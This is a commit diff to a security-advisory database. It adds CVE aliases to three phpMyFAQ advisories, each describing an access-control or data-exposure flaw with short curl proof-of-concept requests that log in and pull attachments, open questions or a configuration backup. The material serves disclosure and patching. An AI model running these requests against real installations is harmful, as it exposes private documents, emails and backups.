Skip to content

Commit 242539d

Browse files
1 parent 3fd3b6f commit 242539d

3 files changed

Lines changed: 12 additions & 6 deletions

File tree

advisories/github-reviewed/2026/01/GHSA-7p9h-m7m8-vhhv/GHSA-7p9h-m7m8-vhhv.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-7p9h-m7m8-vhhv",
4-
"modified": "2026-01-23T20:17:16Z",
4+
"modified": "2026-01-23T21:12:28Z",
55
"published": "2026-01-23T20:17:16Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-24420"
8+
],
79
"summary": "phpMyFAQ: Attachment download allowed without dlattachment right (broken access control)",
810
"details": "### Summary\nA logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.\n\n### Details\nIn attachment.php, the access decision uses:\n```($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])```\nisset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.\n\n### PoC\nPrecondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false.\nLog in as a non‑admin user without dlattachment.\nRequest the attachment download endpoint.\n```\ncurl -c /tmp/pmf_api_cookies.txt \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"tester\",\"password\":\"Test1234!\"}' \\\n http://192.168.40.16/phpmyfaq/api/v3.0/login\n\ncurl -i -b /tmp/pmf_api_cookies.txt \\\n \"http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1\"\n```\n\n### Impact\nUnauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.",
911
"severity": [

advisories/github-reviewed/2026/01/GHSA-j4rc-96xj-gvqc/GHSA-j4rc-96xj-gvqc.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-j4rc-96xj-gvqc",
4-
"modified": "2026-01-23T20:17:33Z",
4+
"modified": "2026-01-23T21:12:42Z",
55
"published": "2026-01-23T20:17:33Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-24422"
8+
],
79
"summary": "phpMyFAQ: Public API endpoints expose emails and invisible questions",
810
"details": "### Summary\nSeveral public API endpoints return email addresses and non‑public records (e.g. open questions with isVisible=false).\n\n### Details\nOpenQuestionController::list() calls Question::getAll() with the default showAll=true, returning invisible questions and their emails. Similar exposures exist in comment/news/faq APIs.\n\n### PoC\n```\ncurl -i -H 'Accept-Language: en' \\\n http://192.168.40.16/phpmyfaq/api/v3.0/open-questions\n```\n\n### Impact\nPrivacy exposure of email addresses and non‑public content; increased risk of phishing/scraping.",
911
"severity": [

advisories/github-reviewed/2026/01/GHSA-wm8h-26fv-mg7g/GHSA-wm8h-26fv-mg7g.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-wm8h-26fv-mg7g",
4-
"modified": "2026-01-23T20:17:25Z",
4+
"modified": "2026-01-23T21:12:35Z",
55
"published": "2026-01-23T20:17:25Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-24421"
8+
],
79
"summary": "phpMyFAQ: /api/setup/backup accessible to any authenticated user (authz missing)",
810
"details": "### Summary\nAuthenticated non‑admin users can call /api/setup/backup and trigger a configuration backup. The endpoint only checks authentication, not authorization, and returns a link to the generated ZIP.\n\n### Details\nSetupController.php uses userIsAuthenticated() but does not verify that the requester has configuration/admin permissions. This allows any logged‑in user to create a sensitive backup and retrieve its path.\n\n### PoC\nPrecondition: API enabled, any authenticated non‑admin user.\n- Log in as a non‑admin user.\n- Call backup endpoint.\n```\ncurl -c /tmp/pmf_api_cookies.txt \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"tester\",\"password\":\"Test1234!\"}' \\\n http://192.168.40.16/phpmyfaq/api/v3.0/login\n\ncurl -i -b /tmp/pmf_api_cookies.txt \\\n -X POST --data '4.0.16' \\\n http://192.168.40.16/phpmyfaq/api/setup/backup\n```\n\n### Impact\nLow‑privileged users can generate sensitive backups. If the ZIP is web‑accessible (server misconfiguration), this can lead to secret exposure.",
911
"severity": [

0 commit comments

Comments
 (0)